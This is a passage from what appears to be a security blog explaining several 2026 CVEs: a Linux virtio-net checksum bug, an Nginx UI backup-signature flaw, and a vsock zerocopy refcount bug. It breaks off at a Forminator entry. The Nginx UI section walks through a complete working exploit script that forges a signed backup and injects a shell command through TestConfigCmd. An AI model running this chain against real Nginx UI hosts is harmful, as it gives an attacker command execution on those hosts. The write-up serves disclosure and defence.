A packet arrives with link-layer headers like Ethernet still present, and those get stripped or skipped later for L3 (IP-layer) processing. The problem: "is this far enough into the entire frame?" and "is this past this specific packet's IPv4 header?" are completely different questions.

Step 2 — input validation was only "frame-relative" (flaw #1)

__virtio_net_hdr_to_skb(), which accepts checksum metadata sent by the guest over virtio-net, had an existing check based on skb_transport_offset(skb) — an offset relative to the current skb->data view.

/* Conceptual comparison — reconstructed from the public research patch series */
transport_offset >= minimum_network_header_length               // the existing check
transport_offset - network_offset >= minimum_network_header_length   // the check that was actually needed

These two inequalities are not interchangeable. The first only guarantees "far enough into this entire frame"; it does not guarantee, like the second does, "far enough relative to the network header." When a packet still has extra link-layer structure present, the two coordinate systems can drift apart — what the researchers call "coordinate drift." This is the first trust failure PWNAI identified: checksum metadata from a less-trusted origin entered host packet processing without ever being compared against the reference (the IPv4 header) that later code would actually use.

Step 3 — the root cause: "validate first, then read the header" — except the order was reversed (flaw #2)

The most important detail here is the order of operations. The host receives a packet, parses it as IPv4, and carries out fragment processing and routing against a normal, trusted 20-byte header. The problem surfaces later, at the point where output-side fragmentation finally completes a pending checksum. Before the fix, ip_do_fragment() in net/ipv4/ip_output.c followed this ordering, conceptually:

/* Pre-fix ordering, abbreviated for explanation — from the public patch commit */
if (skb->ip_summed == CHECKSUM_PARTIAL)
    skb_checksum_help(skb);    /* performs the deferred checksum write FIRST */

iph = ip_hdr(skb);
/* fragmentation logic later derives header length (hlen) from iph->ihl */

skb_checksum_help() isn't inherently dangerous. The danger here is that, with forged metadata, its write can land on bytes that have already been parsed as part of the IPv4 header — and if that overlap happens to hit IPv4's IHL field (Internet Header Length — the header length in 32-bit words, stored in the low 4 bits of the first byte), the consequences change completely.

First byte of a normal packet:   0x45  →  version 4, IHL 5 words  →  header length 20 bytes
After the checksum write:        0x4f  →  version 4, IHL 15 words →  header length 60 bytes

The version nibble (4) stays the same — only the length interpretation flips. What makes this worse: every earlier stage had already made its decisions assuming a 20-byte header. Only the fragmentation code, much later, reads that quietly-updated field as if it had been that way all along. This isn't a race between threads — it's a fully deterministic, reproducible, semantic-level TOCTOU (a mismatch between the time of validation and the time of use).

Step 4 — believing the header is 60 bytes and copying that much comes up 32 bytes short

In the research case, the actual logical, contiguous data in that skb was only 28 bytes (the original 20-byte IPv4 header plus 8 bytes of payload present in the first fragment). But the forged IHL tells the fragmentation code "this header is 60 bytes."

skb_headlen(skb) = 28   ← the logical packet data that actually exists
header_copy_len  = 60   ← what the forged IHL claims the header length is
difference       = 32   ← copied out and emitted as if it were "IP options"

The 32 bytes beyond that 28-byte boundary aren't part of the packet at all — they're whatever other host kernel memory happened to sit in the allocation's remaining tailroom. This isn't a read past the entire memory allocation (which is why it doesn't crash the kernel) — it's an out-of-bounds read relative to the data that skb is logically responsible for. The moment these bytes get carried out, disguised as IP options, in a fragment that's actually transmitted off the host (toward the guest), an internal state problem becomes externally observable information disclosure.

Step 5 — why this was an "escape primitive," not just a "leak"

A reproducible, attacker-controlled host memory disclosure is already serious in a multi-tenant environment on its own. But the research team went further in their own, researcher-owned KVM environment. Using this read capability to narrow down uncertainty about host memory state, they report demonstrating selected 64-byte host-kernel writes, and from there, within a bounded lab chain, executing a host-root helper and returning a host-generated marker back to the guest (confirmed across four independent, cold-boot reproductions).

The researchers drew a clear line here — they deliberately avoided claiming that "a 32-byte disclosure trivially becomes code execution." Proving a leak, proving a write, succeeding at execution in your own lab, and claiming it works in some arbitrary provider's production environment are all different levels of evidence. So the techniques that actually turned "read" into "write" and "execution" — allocator grooming to place objects at chosen locations, object-lifetime control, hypervisor-specific adaptation — were not published. This is standard responsible-disclosure practice, and it also buys time for other hypervisor and sandbox vendors to patch.

About the PoC — why this post doesn't contain working attack code

This CVE is different in character from every other post on this blog so far. As CloudLinux and several other vendor trackers explicitly state, no publicly distributed PoC exists, and the research team deliberately withheld the specific techniques (memory grooming, object placement, hypervisor-specific triggering) that were needed to get from disclosure to host writes and execution.

Reconstructing working attack code in this situation would be no different from creating and distributing a new guest-to-host VM escape weapon that doesn't currently exist publicly. Because this affects cloud infrastructure broadly, it needs to be handled by a different standard than the other "patched web application vulnerability" posts on this blog — so this post does not write or reconstruct executable exploit code.

What can be shared is the evidence methodology the researchers described publicly — how they validated this flaw without publishing the weaponization itself.

Control design: they compared an "identity case," where the packet's original header length stayed unchanged, against an "active case," where a later operation changed that interpretation.
Structural validity check: they confirmed the transmitted packet was structurally valid at the protocol level (the leak took the shape of a normal-looking IP packet, not an obviously corrupted one).
Out-of-bounds byte check: they confirmed nonzero bytes appeared past the known logical data boundary.
Difference-from-sender check: they confirmed those bytes differed from the "guard data" the sender (the attacker themselves) had planted, ruling out simply reading back their own data.
Dual-signal cross-verification: rather than relying on packet capture alone, they independently confirmed receipt at the application level, distinguishing a genuine host-side rewrite from an artifact of packet construction or capture.

This methodology itself is a good example of how to design proof that's rigorous and falsifiable without overclaiming — and it's enough to understand why this flaw is credibly established, even without any working attack code.

The patch — a one-line invariant: "validate before you complete"

The accepted fix (by Michael S. Tsirkin) opted for a small, targeted guard right before IPv4 checksum completion, rather than a broad redesign.

// include/net/ip.h (after the fix)
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
    if (unlikely(skb->csum_start <
                 skb->network_header + ip_hdrlen(skb)))
        return -EINVAL;
    return 0;
}

The core invariant fits in one line:

checksum start position >= IPv4 network-header start + (parsed) IPv4 header length

Assuming csum_offset is non-negative, this guarantees that the final location the checksum gets written to can never fall inside the IPv4 header. It doesn't certify that the check points at a valid TCP/UDP checksum field — but it provides exactly the guarantee needed: that the already-trusted IPv4 header can't be overwritten. This guard was added at each of the five call sites that complete a checksum.

// net/ipv4/ip_output.c · ip_do_fragment() (after the fix, reconstructed from the public commit)
if (skb->ip_summed == CHECKSUM_PARTIAL) {
    err = ip_check_csum_start(skb);
    if (!err)
        err = skb_checksum_help(skb);
    if (err)
        goto fail;
}

As the researchers emphasize, this patch isn't a full redesign of the virtio checksum API — it's a defense-in-depth measure. Broader input validation across the entire ingress path remains a separate piece of follow-up work.

The broader pattern this case illustrates — deferred-metadata trust inversion

The research team summarized the essence of this flaw as a recurring anti-pattern:

untrusted metadata enters
        ↓
validated only against an early representation
        ↓
packet gets normalized, parsed, authorized
        ↓
(later) that metadata triggers an actual operation
        ↓
security-relevant bytes change
        ↓
the next consumer trusts the changed interpretation
        ↓
memory safety or policy boundary collapses

The audit question to ask isn't "did we validate the checksum offsets?" It's: "after every transformation this value passes through, can a deferred write still reach bytes whose meaning has already been trusted?" This lesson isn't specific to Linux networking — it applies to any system handling asynchronous, deferred work alongside mutable metadata.

Remediation

Update your kernel to a version containing 6785011f8b16, or your distribution's published backport. Major distributions — Debian, the Red Hat family including AlmaLinux and CloudLinux, and others — are each backporting to their own stable branches, so check your distribution's security advisory directly.
This flaw directly and most immediately affects virtualization hosts (KVM-based) running untrusted guest VMs. As a stopgap before patching, disabling checksum offload for untrusted guests has been discussed as a mitigation, but it comes with a performance cost and should be treated as limited and unverified.
Even in shared hosting environments without VMs, check whether unprivileged user namespaces could reach a similar path. Disabling unprivileged user namespace creation, if you don't need it, reduces this attack surface as well.
If you use a cloud or sandbox provider, the most reliable step is checking their official advisories for what action they've taken on this CVE. This is a flaw in the Linux kernel itself, not a vendor-specific misconfiguration, so multiple hypervisors and sandbox products can be affected simultaneously.

CVE-2026-107806 Explained: When the Same Person Holds Both the Lock and the Key, the Signature Proves Nothing

GUIDANCE WHITE — Mon, 19 Oct 2026 04:40:50 +0000

Overview

Item	Detail
CVE ID	CVE-2026-107806
Affected product	Nginx UI (0xJacky/nginx-ui — a web console for managing nginx)
Affected versions	2.3.8 and above, below 2.5.0
Fixed in	2.5.0 (commit `a467ed652591fc0cd1b466a1ec751b493faef9f7`)
CVSS 4.0	9.4 (Critical) — `AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
Type	CWE-94 (Improper Control of Generation of Code / Code Injection)
Authentication required	Yes — a precondition is an admin account with a valid session
Reported by	mamdouhmahfouz, via GitHub Security Advisory (GHSA-p393-cf76-4jmr)
GitHub stars	11,600+

Nginx UI is a tool that lets you manage nginx configuration through a web console. Being the console that runs a reverse proxy is inherently sensitive — it terminates traffic, holds certificates, decides which backend requests go to, and typically runs on a host with broad network reach. What makes this particular CVE significant is that it's a path that converts console access into command execution on that host.

This isn't an authentication-bypass vulnerability. The attacker needs an already-valid admin session (a JWT). Instead, this CVE demonstrates a post-authentication trust-boundary failure: just because data arrived through an authenticated endpoint from an authenticated user doesn't mean every value inside that data can be trusted. Specifically, the signature mechanism meant to verify that a backup hasn't been tampered with — used when restoring that backup — was designed so that the signature verification key itself is derived from a value the attacker submitted. When the person sealing the lock and the person inspecting it both get their copy of the key from the attacker, that lock proves nothing.

For context, this project has another, similarly-named vulnerability. CVE-2026-42238 was a problem where the restore API could be reached without authentication during the installation flow, fixed in 2.3.8 by enforcing authentication on the restore path. CVE-2026-107806 is a separate flaw that remained even after that authentication was enforced. In other words, the 2.3.8 fix didn't stop this one.

Where the flaw lives — the key that encrypted the backup is trusted again when restoring it

Nginx UI's backup feature lets you download a backup file (zip) via GET /api/backup, and at that point the AES key and IV that encrypted the backup are returned together in the X-Backup-Security response header, formatted as key_b64:iv_b64. This design choice is reasonable on its own — it's meant for "portable backups," where the server doesn't retain the key long-term but instead hands it to whoever downloads the backup at that moment.

The problem shows up when that backup gets restored. POST /api/restore accepts the uploaded backup along with a security_token (the key/IV to use for decryption), and in that flow, the logic that builds and checks manifest.sig — meant to confirm the backup hasn't been tampered with — derives its verification key from that very AES key the requester submitted.

Step-by-step source analysis

Step 1 — downloading the backup: the encryption key goes right back out in the response

GET /api/backup
Authorization: <admin JWT>

→ 200 OK
X-Backup-Security: <key_b64>:<iv_b64>
Content-Type: application/zip
(body: backup.zip containing manifest.json, manifest.sig, the encrypted nginx-ui.zip, nginx.zip, etc.)

This part works as designed. Whoever receives the backup — a legitimate admin, or an attacker who hijacked a session or otherwise obtained one — can use this key to decrypt nginx-ui.zip and read app.ini (Nginx UI's own configuration file) inside it.

Step 2 — the root cause: the signature verification key is computed from "that same key the attacker sent"

The root cause stated in the GitHub security advisory is as follows. /api/restore can only be called by an authenticated admin, but its handler accepts the backup key material the attacker submits, verifies the manifest's signature using a key derived from that same material, decrypts the backup contents using that key too, and then copies the decrypted app.ini straight into the live configuration path.

// internal/backup/manifest.go (reconstructed from the public advisory)
func deriveSigningKey(submittedAESKey []byte) []byte {
    h := sha256.Sum256(append([]byte("nginx-ui-backup-signing-v1:"), submittedAESKey...))
    return h[:]
}

func verifyManifest(manifestBytes, uploadedSig, submittedAESKey []byte) bool {
    signingKey := deriveSigningKey(submittedAESKey)   // computed from the attacker-submitted key
    expected := hmac.New(sha256.New, signingKey)
    expected.Write(manifestBytes)
    return hmac.Equal(uploadedSig, expected.Sum(nil))
}

Looked at in isolation, this function looks like an ordinary HMAC check. The problem is that submittedAESKey is not a secret the server pre-provisioned and stored — it's the value carried along as security_token in this specific restore request. The source of the key used by the "verifying" party is identical to input controlled by the "signing" party — in this case, the attacker. This is functionally in the same league as a JWT alg=none bug or a symmetric/asymmetric key-confusion attack: the secret that's supposed to be the root of trust is being supplied by the exact same person who sent the data it's meant to authenticate.

Step 3 — the attacker modifies the contents with their own key, then recomputes the signature using the same formula

An attacker holding admin privileges (or a hijacked admin session) still has the key obtained in Step 1 in hand. Here's the tampering process as shown in the published PoC.

# summarized from the public PoC (the app.ini manipulation portion)
# Inject TestConfigCmd into the [nginx] section — normally a "protected" field
# that can't be changed through the settings API
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
# ... insert the line above at the end of app.ini's [nginx] section ...

# Re-encrypt the modified app.ini with the same key → replace nginx-ui.zip
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in nginx-ui.modified.clear.zip -out outer/nginx-ui.zip

# Recompute manifest.json to match the modified files, and re-sign it
# using the EXACT SAME formula the server uses
signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
manifest_sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

The exact calculation the server uses to decide "this signature is valid, so the backup wasn't tampered with" is one the attacker can perform identically. The signature was supposed to guarantee "this was signed using a secret only the server knows" — but that secret was in the attacker's hands all along.

Step 4 — the forged backup passes verification and overwrites a protected setting

curl -X POST "$BASE/api/restore" \
  -H "Authorization: $TOKEN" \
  -F "restore_nginx=false" \
  -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$SEC" \
  -F "backup_file=@malicious-restore.zip"

# → {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}

hash_match: true means the server concluded "this backup is correctly signed with the key I issued." The restore logic applies this verified app.ini straight to the live configuration file — including protected fields like TestConfigCmd that the normal settings API (/api/settings, etc.) is explicitly blocked from modifying. Going through the "trusted path" of backup restore renders every constraint from the ordinary configuration-change path meaningless.

Step 5 — one click on "test configuration" runs the command

TestConfigCmd is a configuration value that Nginx UI runs through a shell whenever someone clicks the "test nginx configuration" button. Once restore has swapped this value for a shell command of the attacker's choosing, all that's left is pressing that button.

curl -X POST "$BASE/api/nginx/test" -H "Authorization: $TOKEN"
# → {"message":"","level":-1,"test_scope":"global"}

docker exec nginx-ui sh -lc 'cat /tmp/nginx-ui-restore-rce'
# → restored-rce   (confirms the command actually executed in the nginx-ui runtime context)

Download the backup, tamper with it, "validly" sign the tampered copy, restore it, and click an ordinary config-test button — that's the entire path from authenticated admin access to host command execution. No password theft, no separate authentication bypass technique required. The attacker simply used the system's own official backup/restore feature, exactly as designed.

Full PoC walkthrough — why each step is necessary

The PoC published alongside the advisory consists of a shell script plus two inline Python scripts. Let's break the whole thing into blocks and map each one to the steps described above.

Setup — back up the original config and set variables

export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'

set -eu
TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

BASE, TOKEN, and CONTAINER are the target server address, an already-obtained admin JWT, and the container name used for cleanup, respectively. set -eu is a safety net that stops the script immediately if any command fails or an undefined variable gets used, and trap 'rm -rf "$TMP"' EXIT cleans up the temp directory no matter how the script ends. Copying the original app.ini with docker cp beforehand is purely a PoC-only safety measure to restore the normal configuration after reproduction and verification — it's not required for the attack to succeed.

Covering Step 1 — download the backup, extract the key from the response header

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
  -H "Authorization: $TOKEN" \
  "$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)

curl -D splits the response into the body (backup.zip) and headers (backup.headers). awk pulls out just the X-Backup-Security line, and ${SEC%%:*} (everything before the first :) and ${SEC#*:} (everything after it) split the key_b64:iv_b64 value into key and IV. Each is then base64-decoded and converted to a hex string with xxd -p, preparing it for direct use by openssl enc later. This block is Step 1 itself — the exact point where the server hands the encryption key back in the response.

Decrypt the backup to get at its contents

mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/outer/nginx-ui.zip" \
  -out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

The backup is nested two layers deep. Unzipping the outer backup.zip reveals manifest.json, manifest.sig, and an encrypted nginx-ui.zip; only after decrypting that inner zip with AES-256-CBC using the key/IV just obtained can you reach the actual configuration files (the inner/ directory), including app.ini. The -nosalt option reflects that the server encrypts without a salt — the fact that an attacker can reproduce decryption and re-encryption exactly with the same option is itself one of the conditions this vulnerability depends on.

Covering Steps 2–3 — inject the malicious setting into `app.ini`

python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys

p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False

for line in lines:
    s = line.strip()
    if s.startswith("[") and s.endswith("]"):
        if in_nginx and not written:
            out.append(cmd)
            written = True
        in_nginx = s.lower() == "[nginx]"
        seen_nginx = seen_nginx or in_nginx
    if in_nginx and s.startswith("TestConfigCmd"):
        if not written:
            out.append(cmd)
            written = True
        continue
    out.append(line)

if in_nginx and not written:
    out.append(cmd)
elif not seen_nginx:
    out.extend(["", "[nginx]", cmd])

p.write_text("\n".join(out) + "\n")
PY

This Python script walks the INI file line by line, looking for the [nginx] section. If a TestConfigCmd line already exists, it gets replaced with the malicious command; if not, a new one gets inserted right before the section ends (just before the next [...] line); and in the extreme case where [nginx] doesn't exist in the file at all, the whole section gets appended at the end. The design preserves the rest of the existing configuration as much as possible while swapping out exactly one line, so none of the other file hashes in manifest.json need to change afterward. The payload itself — printf restored-rce >/tmp/nginx-ui-restore-rce — was deliberately chosen to be harmless, letting PoC success be confirmed just by checking whether that file exists (a real attack could put any shell command here instead).

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/nginx-ui.modified.clear.zip" \
  -out "$TMP/outer/nginx-ui.zip"

The modified inner/ directory is zipped back up and re-encrypted with the exact key/IV obtained from the server, overwriting the original outer/nginx-ui.zip. Since it was encrypted with the identical key used to decrypt it, there's no way for the server to distinguish this file, at the byte level, from "a backup correctly encrypted with that key."

Recomputing the manifest and self-signing — where the flaw becomes literal code

OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os

outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())

for entry in manifest["files"]:
    data = (outer / entry["name"]).read_bytes()
    entry["sha256"] = hashlib.sha256(data).hexdigest()
    entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)

signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY

It's not an exaggeration to say this block is the vulnerability, essentially in its entirety. The first half — recomputing each file's sha256/size and updating manifest.json accordingly — is unremarkable logic on its own: "content changed, so update the manifest to match." The problem is the last two lines. signing_key = SHA256(b"nginx-ui-backup-signing-v1:" + key) is the exact same formula as the server's deriveSigningKey(), and the key used here is the very value the attacker obtained directly from the server's response in Step 1. The fact that a "signing secret" that's supposed to be known only to the server can actually be computed identically on both sides — from a value sitting in the attacker's hands — is proven in four lines of code.

Package the tampered backup and send it to the restore API

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \
  -H "Authorization: $TOKEN" \
  -F "restore_nginx=false" \
  -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$SEC" \
  -F "backup_file=@$TMP/malicious-restore.zip"

The re-signed manifest.sig, the re-encrypted nginx-ui.zip, the untouched nginx.zip, and the updated manifest.json are zipped back into one package and uploaded. restore_nginx=false leaves nginx's own configuration untouched, while restore_nginx_ui=true targets only Nginx UI's own configuration (app.ini) for restore. verify_hash=true requests "don't skip verification, do it properly" — and the fact that this exact verification is something the attacker can pass too is the entire point of this PoC. security_token=$SEC sends back the key:iv obtained in Step 1 unchanged, getting the server to re-verify using "the key it itself issued."

Wait for it to apply, then finish with an ordinary "test configuration" call

sleep 10
for i in $(seq 1 80); do
  curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
  sleep 0.5
done

curl -sS -X POST "$BASE/api/nginx/test" \
  -H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

It takes the nginx-ui process a short moment to reload its configuration right after a restore, so the script briefly polls until /api/settings responds normally again. The POST /api/nginx/test call that follows isn't some special attack-only endpoint — it's the exact same API the "test configuration" button in the UI calls during everyday use. If everything up to this point succeeded, command execution is confirmed by checking that /tmp/nginx-ui-restore-rce, viewed via docker exec, contains the string restored-rce.

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce

Three lines of output summarize the entire attack. The restore was approved "normally" (hash_match: true), the config-test call returned as it always does, and that one ordinary-looking call left behind a file proving it actually executed a command the attacker had planted.

The patch — anchoring signature verification back to "a secret only the server knows"

Nginx UI 2.5.0 fixed this structurally. The fix direction described in the GitHub security advisory:

Backups are now distinguished by trust level — a backup made by "this server, right now" and a portable backup "brought in from somewhere else" should never be trusted equally.
A backup made by the current server is authenticated with a secret the server holds directly, and restore is rejected if the signature isn't valid.
Even on the portable/AES restore path, protected settings like TestConfigCmd are now always preserved regardless of what the restore payload contains — the backup file's content is simply no longer able to overwrite fields like that at all.
app.ini is now parsed into a strongly-typed configuration structure, and the entire staged restore tree is validated before anything touches the live configuration path.

The principle this case illustrates is clear. A signature or HMAC-based integrity mechanism only means something when the secret used to verify it is outside the control of whoever is supplying the data being verified. When reviewing a design that assumes "it's signed with this key, so it's safe," you need to trace exactly where that key comes from — is it a secret the server permanently holds, or a value that arrived mixed into this particular request? And any feature like restore or import — one that "overwrites a trusted state wholesale" — implicitly exercises far more authority than an ordinary settings-change API, which means it needs a separate, stricter standard of verification.

Remediation

Update Nginx UI to 2.5.0 or later immediately.
Until you update, minimize the number of admin accounts that can reach the backup/restore feature, and audit how exposed admin session tokens might be (shared environments, logging, etc.).
Check access logs for /api/restore, /api/backup, and /api/nginx/test for an unusually tight sequence of backup-restore-test calls.
If exposure is possible, verify that command-execution-adjacent settings in app.ini's [nginx] section — TestConfigCmd included — are exactly what they should be, and where possible, restore configuration from a backup taken at a trusted point in time.

CVE-2026-53365 Explained: The Kernel Zerocopy Bug That Only Tracked the Last Fragment

GUIDANCE WHITE — Sun, 18 Oct 2026 02:49:46 +0000

Overview

Item	Detail
CVE ID	CVE-2026-53365
Affected product	Linux kernel's vsock/virtio (virtio-vsock) subsystem
Affected versions	6.7 through 7.0.10 (and corresponding stable branches)
Fixed in	7.0.11, 6.12.97, and vendor backports
CVSS	Red Hat's assessment: CVSS 3.1 `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` — NVD and some scanners score it 5.5 (Medium) instead, framing it purely as a memory-leak issue
Type	CWE-401 (Missing Release of Memory after Effective Lifetime), CWE-404 (Improper Resource Shutdown) — a public PoC extends this into a Use-After-Free / reference-count underflow and demonstrates local privilege escalation
Reported by	sashiko, while reviewing an earlier commit (1cb36e252211) that fixed MSG_ZEROCOPY pinned-page accounting — this CVE itself predates that commit
Precondition	Local code execution, with `io_uring` enabled and `/dev/vsock` reachable (often mode `0666` by default, making it accessible to ordinary users on many systems)

This one is a different kind of CVE than the web-application flaws covered so far on this blog. The attack surface isn't an HTTP request — it's kernel socket buffer (skb) reference counting — and the victim isn't a server; it's the kernel of the machine itself. AF_VSOCK is a socket family that lets a VM and its host, or processes on the same machine, communicate without going through the TCP/IP stack, and MSG_ZEROCOPY speeds that communication up by pinning userspace pages directly instead of copying data into kernel buffers.

Pinning a page is a guarantee: that page won't be reused for anything else until the transfer finishes. Break that guarantee, and you get exactly the setup for a classic Use-After-Free-class memory corruption: userspace still believes it can write to the page, while the kernel has already handed the same physical page off for something else. This CVE starts with the fact that, when a large message gets split into multiple skbs, pin-release tracking worked correctly for only one of them.

Where the flaw lives — the send loop that splits a large message into skbs

virtio-vsock's virtio_transport_send_pkt_info() fills outgoing skbs sized to fit the virtqueue, one at a time, as it works through the message being sent. For a MSG_ZEROCOPY transfer, each skb that pins a userspace page needs a ubuf_info structure (commonly shortened to uarg) attached to it — this is what carries the completion notification telling userspace "this skb has been transmitted, so the page it pinned can be reused now."

Step-by-step source analysis

Step 1 — the correct design: pinning and completion notification must be paired 1:1

MSG_ZEROCOPY's basic contract is simple: pin a page to send it, and the skb carrying that page must fire its completion callback exactly once — either when it's actually transmitted or when it's discarded — and the pin gets released inside that callback. Existing transports like TCP honor this contract by attaching a uarg to every single skb, no exceptions.

Step 2 — the flaw: the `uarg` is attached only to the "last" skb (before the fix)

When virtio-vsock's send loop split a message across multiple skbs, the pre-fix code only created and attached a uarg under this specific condition (reconstructed from the diff published in the official kernel patch email):

// net/vmw_vsock/virtio_transport_common.c (before the fix, reconstructed from the public patch mail)
while (total_len > 0) {
    skb = virtio_transport_alloc_skb(...);
    ...
    /* attach zerocopy completion tracking only if this skb is the LAST fragment of the message */
    if (info->msg && info->msg->msg_flags & MSG_ZEROCOPY &&
        skb_len == rest_len && info->op == VIRTIO_VSOCK_OP_RW) {
        if (virtio_transport_init_zcopy_skb(vsk, skb, info->msg,
                                             pkt_len, can_zcopy)) {
            kfree_skb(skb);
            ret = -ENOMEM;
            break;
        }
    }
    virtio_transport_inc_tx_pkt(vvs, skb);
    ...
}

Inside virtio_transport_init_zcopy_skb(), a uarg gets allocated via msg_zerocopy_realloc() and attached with skb_zcopy_init(skb, uarg) — but that entire call only happens when skb_len == rest_len, meaning "filling this skb brings the remaining length to zero, i.e., this is the true last fragment of the message." Whenever a message doesn't fit in a single skb and gets split into several, every skb except the last one skips this block entirely. Those skbs still pin userspace pages exactly the same way and get queued for transmission — but nothing tracks the completion that pin is supposed to be paired with.

Step 3 — the root cause: when an untracked skb gets freed, the pin count drops one extra time

The problem isn't just "mid-sequence skbs have no uarg" — it's what happens when those skbs get freed normally. Even without a uarg, once transmission finishes the kernel frees the skb the ordinary way, and as part of that it calls put_page() on the page it was holding. On the correct path (TCP, for example), the reference bumped at pin time is matched exactly once by the completion callback decrementing it back. On this flawed path, the completion callback that's supposed to be the matching half simply doesn't exist, and put_page() fires on its own.

Correct path (has a uarg):  pin(+1) → skb transmitted → zerocopy completion fires(-1) → ref hits 0, safely released
Flawed path (no uarg):      pin(+1) → skb just gets freed → only put_page() fires → extra, unpaired decrement

Every repeated MSG_ZEROCOPY transfer adds one more "decrement that was never in the original accounting" for each mid-sequence skb. Repeat enough multi-skb sends against the same userspace buffer, and the kernel's pin count (bias) for that page reaches zero faster than userspace could ever expect.

Step 4 — once the pin count hits zero, that physical page looks "free" to the kernel

Once the pin count reaches zero, the kernel assumes nobody is using the page anymore and can route it back through its normal page-reclaim paths (the per-CPU free list, for instance). In reality, userspace — the attacker — still holds an alias to that page and can still write to it. This is exactly the boundary where things become a textbook Use-After-Free problem: the same physical page is simultaneously "a buffer the attacker can write to" and "a resource the kernel believes is entirely free and has reallocated."

A published PoC is reported to have successfully carried this race condition all the way to local privilege escalation, and Red Hat's advisory itself states that this issue "could lead to local privilege escalation." That said, the specific technique for steering the reallocated page toward a chosen target (such as the cached contents of another file) and winning the necessary timing is memory-grooming, race-condition territory — and isn't covered in this post. The goal here is understanding the root cause: missing completion tracking.

The patch — adopt what TCP already does: allocate once before the loop, share it across every skb

The kernel patch restructures virtio_transport_send_pkt_info() itself. Instead of allocating the uarg "when filling the last skb," it's now allocated once, before entering the send loop, and inside the loop, every skb calls skb_zcopy_set(skb, uarg, NULL) to add one more reference.

// net/vmw_vsock/virtio_transport_common.c (after the fix, reconstructed from the public patch mail)
uarg = msg_zerocopy_realloc(sk_vsock(vsk), total_len, NULL, false);
...
while (total_len > 0) {
    skb = virtio_transport_alloc_skb(...);
    ...
    skb_zcopy_set(skb, uarg, NULL);   // every skb gets completion tracking — not just the last one
    virtio_transport_inc_tx_pkt(vvs, skb);
    ...
}
/* msg_zerocopy_realloc() initializes the ubuf_info refcount to 1.
 * skb_zcopy_set() bumps it once per skb, so that initial reference
 * is dropped separately afterward to keep the count balanced. */

With this change, each skb's completion decrements the uarg's reference count by exactly one, and userspace only receives the completion notification once the total reference count hits zero — which now happens precisely when every skb has actually finished transmitting. If the loop exits early without sending any data, the allocated uarg is cleanly torn down via net_zcopy_put_abort(), so no reference is ever left dangling.

The principle this case illustrates is straightforward. When code can split "one logical transfer" into several sub-units (skbs here), resource lifetime management — pin release, in this instance — has to be designed around the entire logical transfer, not any single piece of it. The assumption "we only need to handle this once, at the last fragment" easily overlooks the fact that every other fragment is holding the exact same resource in the meantime.

Remediation

Update the kernel to 7.0.11, 6.12.97, or whichever backported version your distribution has released for this CVE.
The affected code path is only reachable in environments that actually use MSG_ZEROCOPY over virtio-vsock (or vhost-vsock). Systems that don't use AF_VSOCK at all aren't affected.
On a multi-user system where an immediate update isn't feasible, restricting /dev/vsock access to the users or groups that actually need it can serve as a temporary mitigation — worth remembering that quite a few distributions ship it at mode 0666 by default.
If you're exposing io_uring to unprivileged user namespaces inside containers or VMs, keep in mind that doing so widens the attack surface for this entire class of local privilege-escalation bug.

CVE-2026-15748 Explained: How One Pipe Character Broke an "Exact Match" Blocklist

GUIDANCE WHITE — Sat, 17 Oct 2026 01:56:27 +0000

Overview

Item	Detail
CVE ID	CVE-2026-15748
Affected product	Forminator Forms – Contact Form, Payment Form & Custom Form Builder (WordPress plugin)
Affected versions	1.56.1 and earlier
Fixed in	1.56.2
